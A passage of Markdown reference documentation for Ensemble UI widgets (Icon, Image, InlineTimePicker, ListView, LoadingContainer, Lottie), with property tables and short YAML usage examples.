customization of the typeface for stylistic or thematic consistency. | -| fontFeatureSettings | string | Enables advanced typographic features in fonts, providing fine control over ligatures and stylistic elements. | -| fontSize | string | Sets the font size within an element, influencing the overall visual hierarchy and readability of content. | -| fontStyle | string | Specifies the style of the font, such as italic or normal, contributing to the visual emphasis of displayed text. | -| fontWeight | string | Sets the thickness of characters within a text element, allowing for varied emphasis and hierarchy in content. | -| height | string | Defines the height of an element, offering control over vertical dimensions and aspect ratios. | -| letterSpacing | string | Adjusts the spacing between characters in text, providing fine-tuned control over readability and aesthetics. | -| listStyleImage | string | Sets an image as the list-item marker, allowing customization of list styles with distinctive visual markers. | -| listStyleType | string | Defines the type of marker or style for list items, contributing to the overall appearance and theme of content lists. | -| listStylePosition | string | Sets the position of the list-item marker, influencing its placement in relation to list item content and surroundings. | -| margin | string | Sets the margin outside an element's border, controlling spacing between the element and its neighboring elements. | -| padding | string | Defines the padding inside an element's border, ensuring space between the element's content and its border. | -| textAlign | string | Aligns text within an element, controlling horizontal positioning such as left-aligned, center-aligned, or right-aligned.| -| textDecoration | string | Adds decoration to text, like underline or overline, enhancing visual appeal or conveying additional information. | -| textDecorationColor | string | Sets the color of the text decoration, allowing coordination with the document's color scheme. | -| textDecorationStyle | string | Defines the style of the text decoration, influencing its visual appearance with options like solid, dashed, or dotted lines.| -| textDecorationThickness| string | Specifies the thickness of the text decoration, providing control over its visual prominence. | -| textOverflow | string | Defines how text content that overflows its container should be handled, indicating options like ellipsis or clip. | -| textShadow | string | Adds a shadow to text for emphasis, enhancing legibility and visual impact of text elements within a design or layout. | -| textTransform | string | Controls the capitalization of text, allowing options like uppercase or lowercase to achieve stylistic preferences. | -| verticalAlign | string | Aligns the vertical positioning of inline elements, ensuring proper alignment in relation to surrounding content. | -| whiteSpace | string | Controls handling of white space inside an element, influencing text wrapping, line breaks, and spacing for optimal readability.| -| width | string | Defines the width of an element, offering control over horizontal dimensions and aspect ratios. | -| wordSpacing | string | Adjusts spacing between words in text, providing control over the visual appearance and readability of textual content. | -| lineHeight | string | Sets the height of a line of text, influencing overall vertical spacing and readability within an element. | -| maxLines | string | Limits the number of lines for multiline text, controlling display and preventing excessive expansion of text content. | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| headingText | object | Set the text style for the heading text.[see properties](#headingtext) | -| dataText | object | Set the text style for the data item text. [see properties](#headingtext) | - ---- - -# Icon widget - -The Icon Widget enables easy integration of icons from popular libraries like FontAwesome, allowing for seamless customization and visually appealing designs within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7c686f5-b8a2-4670-9e6e-8fdb0fea768e) - - -[List of supported icons](/pages/widgets/icon2.md) - - -## Properties - -| Property | Type | Description | -| :------- | :----- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| icon | string | Icon name from Material Icons or Font Awesome | -| library | [string](/pages/widgets/icon2.md) | Which icon library to use, if there is no value for library then its considered to be default. `fontAwesome` `remix` ( for now only few remix icons are supported but we will support most them soon) You can check list of supported icons [here](/pages/widgets/icon2.md) | -| onTap | action | Call Ensemble's built-in functions or execute code | -| onTapHaptic | enum | The type of haptic to perform when icon is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| color | integer or string | The color of the icon, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| splashColor | integer or string | If onTap is defined, this color will show up as a splash effect upon tapping the icon. Note that the effect only happens if backgroundColor is not set. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer or string | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | -| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# Finding supported icons and their library - -3 icon libaries -Remix, Default, fontAwesome - -## **Remix Library** - -```yaml -- Icon: - name: account_circle_line - library: remix -``` - -See all the Remix Icons from here: [Remix Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=0o5HzVJWvnkAGxlZtCcV&showAction=false&devicePreview=true&instantPreview=true) - -| Icon Name | -| -------------------- | -| account_circle_line | -| add_circle_line | -| arrow_down_s_line | -| verified_badge_fill | -| verified_badge_line | - - - -## **Default Library** - -Specifying the library is not required when using default. - -```yaml -- Icon: - name: alarm - library: default -``` - -See all the default Icons from here: [Material Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=zZMFKXg1UAOaIGPJ2Y5S&showAction=false&devicePreview=true&instantPreview=true) - -| Icon Name | -|---------------------------| -| ac_unit | -| access_alarm | -| access_alarms | -| access_time | -| accessibility | -| accessibility_new | -| accessible | - -## **Font Awesome library** -[Find supported images here!](https://fontawesome.com/search) -```yaml -- Text: - text: Example 2 using FontAwesome -- Icon: - name: coffee - library: fontAwesome - styles: - color: red -``` - -See all the FontAwesome Icons from here: [FontAwesome Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=SfR9shrC1lvBM1Lxvoss&showAction=false&devicePreview=true&instantPreview=true) - -| Icon Name | -|----------------------------------------| -| fiveHundredPx | -| accessibleIcon | -| accusoft | -| alignCenter | -| airbnb | -| addressBook | -| solidAddressBook | -| addressCard | -| solidAddressCard | -| applePay | - ---- - - -# Image widget - -The Image Widget allows you to render images from a URL or [local assets](#using-local-assets). - -You can manage your assets using Ensemble Studio. [See how](#assets-images-videos-etc) - ---- - -Here's the updated documentation for the `InlineTimePicker` widget with the correct link to the Kitchen Sink: - -# InlineTimePicker Widget - -The InlineTimePicker widget provides an intuitive, iOS-style time selection interface that allows users to select hours, minutes, and optionally seconds, all within the same view. It is designed to offer a smooth and customizable time-picking experience directly within the interface, without the need for opening a dialog. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HGdWHF4G23mpkHBV8o3F) - -## Key Concepts - -- **mode**: Defines the format of the time picker. You can choose between hours and minutes (`hm`), minutes and seconds (`ms`), or hours, minutes, and seconds (`hms`). -- **selectedTime**: Retrieves the current selected time as a formatted string, including hours, minutes, and seconds if applicable. -- **onTimeChanged**: Executes an action when the selected time is changed by the user. This allows developers to perform tasks such as updating other parts of the UI or triggering business logic. -- **minuteInterval**: Sets the interval for minute selection, allowing for customization of the granularity of minute steps. -- **secondInterval**: Sets the interval for second selection, providing control over how precisely seconds can be selected. -- **onTimeChangedHaptic**: Allows the addition of haptic feedback when the time is changed, enhancing the tactile interaction experience for users. -- **initialTime**: Specifies the initial time that the picker will display when it is first rendered. - -## Example - -Here’s an example of how to use the InlineTimePicker widget in a YAML configuration: - -```yaml -View: - header: - title: InlineTimePicker - styles: - scrollableView: true - body: - Column: - children: - - InlineTimePicker: - id: timePicker - initialTime: "11:44" - mode: hms - showHourLabel: false - - - Button: - label: Get Time - onTap: | - //@code - console.log(timePicker.selectedTime); -``` - -In this example: -- The `InlineTimePicker` is configured to use the `hms` mode, which allows the selection of hours, minutes, and seconds. -- The `initialTime` is set to `"11:44"`, which is the time the picker will display when first rendered. -- The `showHourLabel` is set to `false`, hiding the hour label from the picker. -- The button logs the selected time in the format `hh:mm:ss a` to the console when pressed. - -## Reference -#### Properties - -| Property | Type | Description | -| :------------------ |:---------------------------------------|:----------------------------------------------------------------------------------------------------------| -| mode | enum | Defines the format of the time picker. Options are `hm` (hours and minutes), `ms` (minutes and seconds), or `hms` (hours, minutes, and seconds). | -| selectedTime | string | Returns the selected time as a formatted string, including hours, minutes, and seconds if the `hms` mode is used. | -| onTimeChanged | action | Executes a specified action whenever the time selection changes. | -| minuteInterval | int | Sets the interval for minute selection (e.g., 1, 5, 10). This determines the steps in which minutes can be selected. | -| secondInterval | int | Sets the interval for second selection (e.g., 1, 10, 15). This determines the steps in which seconds can be selected. | -| onTimeChangedHaptic | string | Adds haptic feedback when the time is changed, providing a tactile response for the user. | -| initialTime | string | Sets the initial time displayed by the picker when it is first rendered (formatted as `HH:mm`). | -| showHourLabel | bool | Controls whether the hour label is displayed in the time picker. | - -## Example Usage -This widget is ideal for scenarios where you want users to pick a specific time within the app, without having to open a new screen or dialog. It is particularly useful in settings such as alarm clocks, event schedulers, or any application that requires precise time input. - -### Mode Examples -- **hm (Hours and Minutes)**: Useful for scenarios where second precision is not required, such as setting a meeting time. -- **ms (Minutes and Seconds)**: Ideal for countdowns or timers. -- **hms (Hours, Minutes, and Seconds)**: Provides the full range of time selection, perfect for more detailed scheduling needs. - -By customizing the `minuteInterval` and `secondInterval`, developers can control how fine-grained the time selection is, ensuring that users can quickly and accurately select the desired time. - -This widget can be fully integrated with other actions and components in your app, offering flexibility and ease of use in time-based interactions. - ---- - -# ListView - -The ListView Widget enables the rendering of lists with dynamic and scrollable content, facilitating efficient display and navigation of large datasets within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) - -## Properties - -| Property | Type | Description | -| :---------------- | :------ | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| item-template | object | [See properties](#item-template) | -| children | array | List of widgets | -| onItemTap | action | Dispatch when an ListView item is selected/tapped.The event dispatches only when you tap on the item. The index of the item can be retrieved using 'selectedItemIndex'. You can access as this.selectedItemIndex. See example linked above| -| onItemTapHaptic | enum | The type of haptic to perform when item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| selectedItemIndex | integer | Selecting a ListView item gives the index of selected item | -| onSwipeToRefresh | action | Enable swipe to refresh. This will trigger onRefresh action if enabled | -| nestedScroll | boolean | Enable ScrollView synchronization with ListView if enabled. | -| shrinkWrap | boolean | ListView will be scrollable even inside ScrollView but with it's own scrollController if enabled. | -| styles | object | [See properties](#styles) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| showSeparator | boolean | Show a separator between the items (default is true). | -| separatorColor | integer or string | Set the color for the separator between items, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| separatorWidth | integer | The thickness of the separator between items | -| separatorPadding | string or integer | Padding with CSS-style value e.g. padding: 5 20 5 Default 0 0 0 | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports). | -| gap | integer | The gap between the children in the main direction | - ---- - -# LoadingContainer Widget - -The LoadingContainer widget is designed to simplify the process of displaying a loading indicator while content is being fetched or processed. It provides a convenient abstraction layer for managing loading states in your app, allowing developers to easily toggle between the loading state and the state where content is available. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) - -## Key Concepts - -- **loadingWidget**: Specify a widget to display while loading content. This can point to a custom widget, such as a column of shapes to represent what the loaded content might look like. -- **widget**: This is the widget to display when content is available. -- **isLoading**: This is typically an expression that returns true or false. When true, the `loadingWidget` is displayed. When false, the `widget` will display. -- **useShimmer**: Enables a shining animation to indicate that the content is loading. The animation can be over a default shimmer or the loadingWidget if specified. -- **shimmerOptions**: A nested object to customize the shimmer effect, including gradient colors, stops, and animation range. - -## Example - -Typically LoadingContainer is used in combination with an API call so that you can show a loading state while waiting for the API to respond. - -```yaml -View: - header: - title: "API: Handle loading state" - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Button: - label: Invoke API - onTap: - executeActionGroup: - actions: - - invokeAPI: - name: getData - - executeCode: - body: | - content.visible = true - - - LoadingContainer: - id: content - visible: false - isLoading: ${ getData.isLoading } - widget: - Text: - text: Data is ready - loadingWidget: - Shape: - type: rectangle - styles: - backgroundColor: grey - width: ${ device.width } - borderRadius: 8 - height: 100 - useShimmer: true - shimmerProperties: - gradientColors: - - 0xFFFF5733 - - 0xFF33FF57 - - 0xFF3357FF - gradientStops: - - 0.0 - - 0.5 - - 1.0 - min: -0.5 - max: 1.5 - -API: - getData: - method: GET - url: https://httpbin.org/delay/10 -``` - -## Reference -#### Properties - -| Property | Type | Description | -| :------------ |:---------------------------------------|:--------------------------------------------------------| -| isLoading | bool | Whether to display a loading widget. The default will be empty (without shimmer) or a default loading shimmer, unless a loadingWidget is specified. | -| useShimmer | bool | A shining animation to designate that the content is loading. The animation can be over a defaults shimmer or the loadingWidget if specified. | -| loadingWidget | object | The widget to render during the loading state (i.e. while isLoading is true). -| widget | object | The widget to render as the content of this container. | -| shimmerOptions | object | A nested object to customize the shimmer effect. Includes the following sub-properties: | - -#### shimmerOptions -| Property | Type | Description | -| :--------------- |:-----------|:----------------------------------------------------------------------------------------------------------------| -| gradientColors | list | A list of colors to be used in the shimmer effect's gradient. | -| gradientStops | list | A list of stops that define the position of each color in the shimmer effect's gradient. | -| min | double | The minimum value for the shimmer animation's range. | -| max | double | The maximum value for the shimmer animation's range. | -| shimmerSpeed | int | The speed of the shimmer animation in milliseconds. | -| shimmerEffect | enum | The direction of the shimmer effect. Options are `horizontal`, `vertical`, or `diagonal`. | -| padding | double | The padding around the shimmer effect. | -| tileMode | enum | The tileMode property in a gradient determines how the gradient repeats or extends beyond its original bounds, offering options like `clamp`, `mirror`, and `repeated` to control the visual effect. | - ---- - -# Lottie Animation widget - -The Lottie Render Widget allows you to effortlessly render Lottie animation files, bringing life and motion to your application with smooth and captivating visual effects. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/576f3004-83e6-429d-b256-628d85e05f7f) - -### NOTE -__NOTE:__ *onTap* property works only for native apps (iOS and Android) and web apps. onTap will not work when the web app is compiled with the [HTML renderer](https://docs.flutter.dev/platform-integration/web/renderers) option (i.e. --web-renderer html). Ensemble Studio is compiled with HTML renderer option so the onTap will not work on the studio. However, it should work fine for Ensemble Go (iOS) and Ensemble Preview (Android). - -## Properties - -| Property | Type | Description | -| :------- | :----- | :---------------------------------------- | -| source | string | URL or asset name of the Lottie json file | -| styles | object | [See properties](#styles) | -| onForward | action | Callback which is fired when the animation starts playing in the forward direction | -| onReverse | action | Callback which is fired when the animation starts playing in the reverse direction | -| onComplete | action | Callback which is fired when the animation is completed | -| [onTap](#note) | action | Run a block of code or execute a given action when there is a tap event on lottie widget | -| onStop | action | Callback which is fired when the animation is stopped. This is fired only when animation is stopped or aborted in between. | -| autoPlay | boolean | Whether to automatically start the animation in the forward direction (default true) | -| repeat | boolean | Whether we should repeat the animation (default true) | -| onTapHaptic | enum | The type of haptic to perform when lottie is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| fit | string | How to fit the Lottie animation within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` 